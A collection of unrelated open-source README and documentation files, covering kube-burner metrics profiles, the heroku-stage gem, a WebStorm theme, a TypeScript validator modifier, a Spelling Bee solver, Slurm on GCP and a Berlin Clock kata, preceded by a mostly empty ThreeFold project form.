- How will this benefit the earth and why do you think this is relevant?
Answer: Gravity Group is on a mission to support the earth's greatest creators and entrepreneurs to accelerate their mission, take it to market and scale globally. While building companies they understand quickly the difference it makes to have an aligned team, A+ players, and what it takes to recruit a solid team at different stages of your growth, we saw the benefit being able to deploy a team into accelerated, very rewarding missions along the way if it is business development, corporate development, structure, finance, funds, security token, design, you name it. That is one thing that Novalena and Jeremy do very well, they work with and collect amazing people. It is their privilege to bring these groups together to empower and accelerate some of the greatest ideas they come across or find them on their adventures.

- What is the link between ThreeFold and your project?
Answer:

- How will your project use the ThreeFold grid and / or 3Bot?
Answer:

### Roadmap

- Generic explanation: what is there today, what is coming up?
Answer:

- How does your project intend to measure impact?
Answer:

```python

[milestone]
name = ""
#date format: YYYY/MM
date = ""
funding_required_tft = ""
funding_required_usd = ""
description =""

[milestone]
name = ""
date = ""
funding_required_tft = ""
funding_required_usd = ""
description =""

```

### data

```python
[links]
linkedin = ""
websites = ["https://www.gravity.group/"]
wiki = ""
video = "https://player.vimeo.com/video/413057321"

[info]
team = []
countries = []
cities = []

[ecosystem]
# can be chosen from: experiencecreator, experiencepartner, solutionprovider, farmer, systemintegrator
categories = ["experiencepartner"]
# can be chosen from: tftgranted (receiving TFT Grant)
badges = []

```


text:
# Metrics

The metrics-profile flag points to a YAML or URL of a file containing a list of the prometheus queries that kube-burner will execute after finishing the benchmark.
As soon as all jobs described in the configuration file finish, `kube-burner` iterates all queries defined in the metric-profile, and executes them using the jobs start and end date as time range, then kube-burner has the ability to index the metrics in one of the supported indexers.
Kube-burner adds some extra fields to the metrics obtained from prometheus. These fields are the job UUID, the job name, the metric name and the prometheus query as shown in the example below:

```json
[
  {
    "timestamp": "2021-06-23T11:50:15+02:00",
    "labels": {
      "instance": "ip-10-0-219-170.eu-west-3.compute.internal",
      "mode": "user"
    },
    "value": 0.3300880234732172,
    "uuid": "bc82badf-0e43-48cc-aca8-fdaa6cee5a84",
    "query": "sum(irate(node_cpu_seconds_total[2m])) by (mode,instance) > 0",
    "metricName": "nodeCPU",
    "jobName": "kube-burner-indexing"
  },
  {
    "timestamp": "2021-06-23T11:50:45+02:00",
    "labels": {
      "instance": "ip-10-0-219-170.eu-west-3.compute.internal",
      "mode": "user"
    },
    "value": 0.31978102677038506,
    "uuid": "bc82badf-0e43-48cc-aca8-fdaa6cee5a84",
    "query": "sum(irate(node_cpu_seconds_total[2m])) by (mode,instance) > 0",
    "metricName": "nodeCPU",
    "jobName": "kube-burner-indexing"
  }
]
```

The extra fields are useful at the time of identifing and representing the metrics.

The field **metricName** in the example above, allow us to identify documents from a certain query more easily, and it's configured in each query of the metric-profile by adding the parameter `metricName` to the query as shown in the metrics profile below:

```yaml
- query: irate(process_cpu_seconds_total{job=~".*(crio|etcd|controller-manager|apiserver|scheduler).*"}[2m])
  metricName: controlPlaneCPU

- query: process_resident_memory_bytes{job=~".*(crio|etcd|controller-manager|apiserver|scheduler).*"}
  metricName: controlPlaneMemory

- query: sum(irate(node_cpu_seconds_total[2m])) by (mode,instance)
  metricName: nodeCPU
  indexName: customIndex
```

> The parameter `indexName` in the metrics-profile forces `kube-burner` to send the resulting metrics of this query to a different index.

Apart from range queries, kube-burner has the ability perform instant queries by adding the field instant to the desired metric. These kind of queries are useful to get only one sample of a "permanent" metric such as the number of nodes or the kube-apiserver version.

```yaml
- query: kube_node_role
  metricName: nodeRoles
  instant: true
```

Examples of metrics profiles can be found in the [examples directory](https://github.com/cloud-bulldozer/kube-burner/tree/master/examples/). There're are also ElasticSearch based grafana dashboards available in the same examples directory.

## Job Summary

In case indexing is enabled, at the end of each job, a document holding the job summary is indexed. This is useful to identify the parameters the job was executed with:

This document looks like:

```json
{
  "timestamp": "2020-11-13T13:55:31.654185032+01:00",
  "uuid": "bdb7584a-d2cd-4185-8bfa-1387cc31f99e",
  "metricName": "jobSummary",
  "elapsedTime": 8.768932955,
  "jobConfig": {
    "jobIterations": 10,
    "jobIterationDelay": 0,
    "jobPause": 0,
    "name": "kubelet-density",
    "objects": [
      {
        "objectTemplate": "templates/pod.yml",
        "replicas": 1,
        "inputVars": {
          "containerImage": "gcr.io/google_containers/pause-amd64:3.0"
        }
      }
    ],
    "jobType": "create",
    "qps": 5,
    "burst": 5,
    "namespace": "kubelet-density",
    "waitFor": null,
    "maxWaitTimeout":<PHONE_NUMBER>0000,
    "waitForDeletion": true,
    "podWait": false,
    "waitWhenFinished": true,
    "cleanup": true,
    "namespacedIterations": false,
    "verifyObjects": true,
    "errorOnVerify": false
  }
}
```

## Metric exporting & importing

kube-burner provides the ability of generating a tarball containing the collected metrics. This feature is useful to store and import them later in a different environment. Metrics exporting is enabled setting to true the parameters `writeToFile` and `createTarball` from the configuration file. The tarball is generated after running running benchmark, but it can be also used in the `index` subcommand.

e.g.

```shell
$ kube-burner index --prometheus-url=https://prometheus-instance.domain.com --token=${token} --uuid=$(uuidgen) -c cfg.yml -m metrics.yaml
INFO[2021-06-23 12:07:07] Setting log level to info
INFO[2021-06-23 12:07:07] 👽 Initializing prometheus client
INFO[2021-06-23 12:07:07] Indexing metrics with UUID 0f618e71-c6bc-4b4e-9668-d59530c06e2f
INFO[2021-06-23 12:07:07] 🔍 Scraping prometheus metrics from 2021-06-23 11:07:07 +0200 CEST to 2021-06-23 12:07:07 +0200 CEST
INFO[2021-06-23 12:07:07] Range query: count(kube_namespace_created)
INFO[2021-06-23 12:07:07] Writing to: collected-metrics/namespaceCount.json
INFO[2021-06-23 12:07:07] Range query: sum(kube_pod_status_phase{}) by (phase)
INFO[2021-06-23 12:07:07] Writing to: collected-metrics/podStatusCount.json
INFO[2021-06-23 12:07:07] Range query: count(kube_secret_info{})
INFO[2021-06-23 12:07:07] Writing to: collected-metrics/secretCount.json
INFO[2021-06-23 12:07:07] Range query: count(kube_deployment_labels{})
INFO[2021-06-23 12:07:07] Writing to: collected-metrics/deploymentCount.json
INFO[2021-06-23 12:07:07] Range query: count(kube_configmap_info{})
INFO[2021-06-23 12:07:08] Writing to: collected-metrics/configmapCount.json
INFO[2021-06-23 12:07:08] Range query: count(kube_service_info{})
INFO[2021-06-23 12:07:08] Writing to: collected-metrics/serviceCount.json
INFO[2021-06-23 12:07:08] Instant query: kube_node_role
INFO[2021-06-23 12:07:08] Writing to: collected-metrics/nodeRoles.json
INFO[2021-06-23 12:07:08] Range query: sum(kube_node_status_condition{status="true"}) by (condition)
INFO[2021-06-23 12:07:08] Writing to: collected-metrics/nodeStatus.json
INFO[2021-06-23 12:07:08] Instant query: cluster_version{type="completed"}
INFO[2021-06-23 12:07:08] Writing to: collected-metrics/clusterVersion.json
INFO[2021-06-23 12:07:08] Metrics tarball generated at kube-burner-metrics-1624442828.tgz
```

Once we've enabled it, a tarball (`kube-burner-metrics-<timestamp>.tgz`) containing all metrics will be generated in the current working directory.
This tarball can be imported and indexed by kube-burner with the import subcommand. e.g.

```log
$ kube-burner/bin/kube-burner import --config kubelet-config.yml --tarball kube-burner-metrics-1624441857.tgz
INFO[2021-06-23 11:39:40] Setting log level to info
INFO[2021-06-23 11:39:40] 📁 Creating indexer: elastic
INFO[2021-06-23 11:39:42] Importing tarball kube-burner-metrics-1624441857.tgz
INFO[2021-06-23 11:39:42] Importing metrics from doc.json
INFO[2021-06-23 11:39:43] Indexing [1] documents in kube-burner
INFO[2021-06-23 11:39:43] Successfully indexed [1] documents in 208ms in kube-burner
```

repository: thiagorider/kube-burner

repo_name: thiagorider/kube-burner


text:
# Heroku Stage
[![Build Status](https://travis-ci.org/platanus/heroku-stage.svg?branch=master)](https://travis-ci.org/platanus/heroku-stage)

Get the current deployment stage of your rails app deployed using heroku pipelines.

## Installation

```bash
gem install heroku-stage
```

Or add to your Gemfile:

```ruby
gem "heroku-stage"
```

```bash
bundle install
```

## Why

We've been following the heroku's recommendation on running just one
environment for our apps *productions*. We've moved from having
`staging.rb` and `production.rb` to just have the `production.rb`.
The goal is to promote parity between the two environments. At the end,
we have different **deployment** environments but the same rails one.

This approach makes it difficult when you have to differentiate
some actions based on your deploy environment. We cannot rely on `Rails.env`
anymore because it will always be `production`.

One example is for error monitoring. If we want to know from which
environment the errors are, we need to provide that information somehow.

The idea is to take the same syntax from `Rails.env` but with
`Heroku.stage`

This gem uses the `HEROKU_APP_NAME` environmental variable to get the
current stage on the heroku pipeline.

## The convention

The application name convention is `my-app-<stage>`.

You can manually add the environmental variable `HEROKU_APP_NAME` with the app name

```shell
heroku config:set HEROKU_APP_NAME=<your app>
```

or you can use the [dyno metadata labs](https://devcenter.heroku.com/articles/dyno-metadata)
from heroku which will add the variable on your next deploy.

```shell
heroku labs:enable runtime-dyno-metadata --app <your app>
heroku labs:enable runtime-dyno-metadata --remote production
```

> *Note*: Heroku does not provide the information on what stage the app is running,
> so this gem relies on that convention. I've contacted heroku requesting this information
> but I haven't had any response.

## Usage

To get the current state

```ruby
Heroku.stage # => 'production'
```

You can ask for the production or staging stages

```ruby
Heroku.stage.production? # => true
Heroku.stage.staging? # => false
```

### In development

When using in the *development* rails environment the `Heroku.stage` will
respond with an empty string.

```ruby
Rails.env.development? # true
Heroku.stage # => ''
```

### In review apps

When in a review app you can get the current pull-request

```ruby
Heroku.review_app? # true
Heroku.stage # => pr-43
```

## Testing

To run the specs you need to execute, **in the root path of the gem**, the following command:

```bash
bundle exec guard
```

You need to put **all your tests** in the `/my_gem/spec/` directory.

## Contributing

1. Fork it
1. Create your feature branch (`git checkout -b my-new-feature`)
1. Commit your changes (`git commit -am 'Add some feature'`)
1. Push to the branch (`git push origin my-new-feature`)
1. Create new Pull Request

## Credits

Thank you [contributors](https://github.com/platanus/heroku-stage/graphs/contributors)!

<img src="http://platan.us/gravatar_with_text.png" alt="Platanus" width="250"/>

Heroku Stage is maintained by [platanus](http://platan.us).

## License

Heroku Stage is © 2016 platanus, spa. It is free software and may be redistributed under the terms specified in the LICENSE file.

repository: platanus/heroku-stage

gha_language: Ruby

repo_name: platanus/heroku-stage


text:
# material-vscode-jetbrains

VSCode Dark+ colourings for WebStorm, working with the Material UI plugin + colorScheme dark+ from @lenny1882

Last version checked: WebStorm 2019.3

## Introduction

In order for the theme to work and it can be installed, you must first install the __Material UI__ plugin for Webstorm.
You can find the plugin [on this repos](https://github.com/ChrisRM/material-theme-jetbrains) from @ChrisRM.

## Use

### Theming - (Need Material UI Plugin)

* Download the .xml file
* Open IDE, and go to __Settings__
* In the left-hand menu: Appearance & Behavior > Material Theme > select __Custom theme__
* In the left-hand menu: Appearance & Behavior > Material Custom Theme
* Click the dropdown selector on the top right corner
* Click __Select .xml file from disk__
* Select the .xml file, Aply

### Colourings

* Download the .icls file
* Open IDE, and go to __Settings__
* In the left-hand menu: Editor > Color Scheme
* Click the cog next to the _Scheme_ dropdown and __Import Scheme__
* Select the .icls file, Apply

#### User Screenshots

|[TheOnlyReadOnly](https://github.com/TheOnlyReadOnly)|
|---|
|[![TheOnlyReadOnly](https://raw.githubusercontent.com/lenny1882/vscode-dark-plus-webstorm/screenshots/screenshots/TheOnlyReadOnly_320.jpg)](https://raw.githubusercontent.com/lenny1882/vscode-dark-plus-webstorm/screenshots/screenshots/TheOnlyReadOnly.png?raw=true)|

## TODO and Not Done
### Theming
__TODO__
* Match all the color from VSCode
* Match Highlight color

### Colourings
__TODO__
* Diff & Merge
* VCS

__NOT DONE__ (from @lenny1882)

The following have not had their colours changed, as there is no VSCode equivalent, or they require extensions for syntax highlighting (which may be opinionated).

* Cucumber
* Diagrams
* EditorConfig
* EJS
* HAML
* HTTP Request
* JSP
* RegExp
* Stylus
* XPath
* Spy-js

## Disclaimer
The vast majority of work has been done with WebStorm open next to VSCode and its DevTools, selecting elements in VSCode and copying colour values where WebStorm does not match. As such, neither colourings nor theme are an exact replica (and never will be - VSCode and WebStorm handle a lot of things differently. VSCode, for example, offers far more granular syntax highlighting).

This project is maintained, as WebStorm is my favorite IDE. Pull requests are welcome.

## Contributors and Thanks
### Thanks
* Zhan Ishzhanov ([janat08](https://github.com/janat08)) - for flagging font differences across platforms
* Marco Nava ([TheOnlyReadOnly](https://github.com/TheOnlyReadOnly)) - user screenshot

repository: GoinPay/material-vscode-jetbrains

repo_name: GoinPay/material-vscode-jetbrains


text:
---
id: minArrayLength
title: minArrayLength
---

The `minArrayLength` modifier is used to contraint length of`array` values. It also changes the return validation type – tuples with given number of elements are returned instead of arrays:

```ts
const len10Validator = λ(array(number()), minArrayLength(2), validate)([]);
const result = validate(len10Validator)([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]);
// type of result is
// readonly [number, number, ...number[]]
```

As a result, it makes using such arrays/tuples more typesafe. Notice how the type of the `thirdElement` is different:

```ts
// number
const firstElement = result[0];
// number
const tenthElement = result[1];
// number | undefined
const thirdElement = result[2];
```

## Type instantiation is excessively deep and possibly infinite

On rare occasions you may come across the following TypeScript error: _Type instantiation is excessively deep and possibly infinite.ts(2589)_. It's a limitation of the TypeScript compiler when used on very deeply nested conditional types such as the tuples generated by the `minArrayLength` modifier.

Should this issue ever occur to you, please override the inferred generic parameter with `number`:

```ts
// error in compile-time
const whoopsieDaisyValidator = λ(array(number()), minArrayLength(100000), validate)([]);

// fallback to less-typesafe array: readonly number[]
const better = λ(array(number()), minArrayLength<number>(100000), validate)([]);
```

repository: darkowic/schema

repo_name: darkowic/schema


text:
# NYT Spelling Bee Cheat

The _New York Times_ added a daily puzzle called ["Spelling Bee"](https://www.nytimes.com/puzzles/spelling-bee). The puzzle gives you seven letters in a hive (one in the center of the hive, surrounded by six other letters). You must make as many words as you can from those seven letters, as long as you comply with these rules:
 1. you must include the center letter;
 2. you can repeat letters as often as you want;
 3. the words must be at least four letters long (five letters long in Sunday's _A Little Variety_ puzzle pack). No 'cat' or 'if'.

You get one point for each valid word and three points for a word that uses all seven letters (a pangram). Each puzzle contains at least one pangram.

Unlike the NYT crosswords, you can't check your answers right away; you have to wait until the following day. Furthermore, you can only check yesterday's answers, so if you want to go back to last week's answers, you can't. So I needed a way to check my answers. I especially needed a way to find the pangram, because no matter how many words I found, if I had not found the pangram, my day was ruined.

So I wrote a little Python script. I hope it helps.

# Comments

My basic outline was the following:
 1. import wordlist
 2. ask for and set center letter
 3. ask for and set other letters
 4. ask for and set minimum word length
 5. identify legal wordlist
 6. identify pangram
 7. print results

## Import Wordlist (Step 1)

I'm using the Official Scrabble Tournament Word List (twl06) that I grabbed from https://www.wordgamedictionary.com and just downloaded to a .txt file and stripped the headers. If and when I make this into a web app, I'll have to figure out how to call a dictionary API. The NYT seems to use a smaller dictionary, as valid TWL06 words are not accepted by the NYT.

## Setting Puzzle (Steps 2-4)

I could do better on input validation, but for now I've assumed the user (me) knows the drill.

## Identifying Legal Words (Step 5)

This turned into a lesson in computational time. Initially, I thought I would generate random strings from the letter set and then test the string against the dictionary. One issue was the word length. I thought setting a maximum of 20 letters would be enough to find at least one pangram, but going through 26^20 letter combinations (and then 26^19, 26^18, etc.) was taking too long and I realized there had to be better way. Fortunately, that didn't take long to figure out, so I went to plan B.

I would randomly select a word from the dictionary and see if it matched my letter set and rules. This was much faster. Now my problem was to figure out how many iterations to ask for or when to step out of a while loop. I decided to randomly select words until I reached 300 valid words. There would be repeats, but that seemed high enough to ensure I got the pangram. That's been true so far, except once, and even then I got the pangram on the next run.

## Identifying Pangram (Step 6)

This was just a matter of identifying whether a given words contains all the letters of the beehive: `if set(word) == set(beehive)`

## Printing Results (Step 7)

I used the `set` datatype to reduce my results list to unique words. Then I ordered from longest to shortest (longer words get more points) and then alphabetically.

I also print out the count of random words selected out of curiosity. I've seen counts range from 500,000 to 900,000 so far.

repository: spswanz/NYT-Spelling-Bee-Cheat

repo_name: spswanz/NYT-Spelling-Bee-Cheat


text:
# Google Cloud Marketplace

<!-- mdformat-toc start --slug=github --no-anchors --maxlevel=6 --minlevel=1 -->

- [Google Cloud Marketplace](#google-cloud-marketplace)
  - [Deploy](#deploy)
  - [Using the Cluster](#using-the-cluster)
  - [Destroy](#destroy)

<!-- mdformat-toc end -->

## Deploy

1. Go to the
   [SchedMD-Slurm-GCP](https://console.cloud.google.com/marketplace/product/schedmd-slurm-public/schedmd-slurm-gcp)
   listing in the GCP Marketplace. ![](../img/market-screen1.png)

1. Click “Launch”. ![](../img/market-screen2.png)

1. Some of the options provide defaults, others require input.

1. By default, one partition is enabled. Check the box “Enable partition” under
   the other “Slurm Compute Partition” sections to configure more partitions.

   ![](../img/market-screen3-2.png)

1. When complete, click “Deploy”.

   Your Slurm cluster is now deploying.

   ![](../img/market-screen4.png)

1. When the deployment is complete, you should see the following:

   ![](../img/market-screen5-1.png)

## Using the Cluster

1. SSH to the Login node by clicking the “SSH TO SLURM LOGIN NODE” button.

   ![](../img/market-screen5-2.png)

1. Provided are some recommended steps to verify the Slurm cluster is working as
   expected.

   - Summarize node status.

     ![](../img/market-screen6.png)

   - Submit a batch script job.

     ![](../img/market-screen7.png)

   - View the job queue.

     ![](../img/market-screen8.png)

   - View the new compute nodes added on the Console.

     ![](../img/market-screen9.png)

## Destroy

1. Go to [Deployment Manager](https://console.cloud.google.com/dm/deployments).

1. Select the Slurm cluster deployment from list.

1. Click "DELETE" and confirm action.

   > **WARNING:** Compute nodes are not cleaned up in "DELETE" action; compute
   > nodes must be manually destroyed.

repository: SchedMD/slurm-gcp

gha_language: HCL

repo_name: SchedMD/slurm-gcp


text:
## Berlin Clock Kata

Create a representation of the Berlin Clock for a given time (hh::mm:ss).

The Berlin Uhr (Clock) is a rather strange way to show the time.
On the top of the clock there is a yellow lamp that blinks on/off every two seconds.
The time is calculated by adding rectangular lamps.

The top two rows of lamps are red. These indicate the hours of a day. In the top row there are 4 red lamps.
Every lamp represents 5 hours. In the lower row of red lamps every lamp represents 1 hour.
So if two lamps of the first row and three of the second row are switched on that indicates 5+5+3=13h or 1 pm.

The two rows of lamps at the bottom count the minutes. The first of these rows has 11 lamps, the second 4.
In the first row every lamp represents 5 minutes.
In this first row the 3rd, 6th and 9th lamp are red and indicate the first quarter, half and last quarter of an hour.
The other lamps are yellow. In the last row with 4 lamps every lamp represents 1 minute.

The lamps are switched on from left to right.

    Y = Yellow
    R = Red
    O = Off

#### References

* [Technology Conversations : Berlin Clock](https://technologyconversations.com/2014/02/25/java-8-tutorial-through-katas-berlin-clock-easy/)

repository: rgordeev/katas

repo_name: rgordeev/katas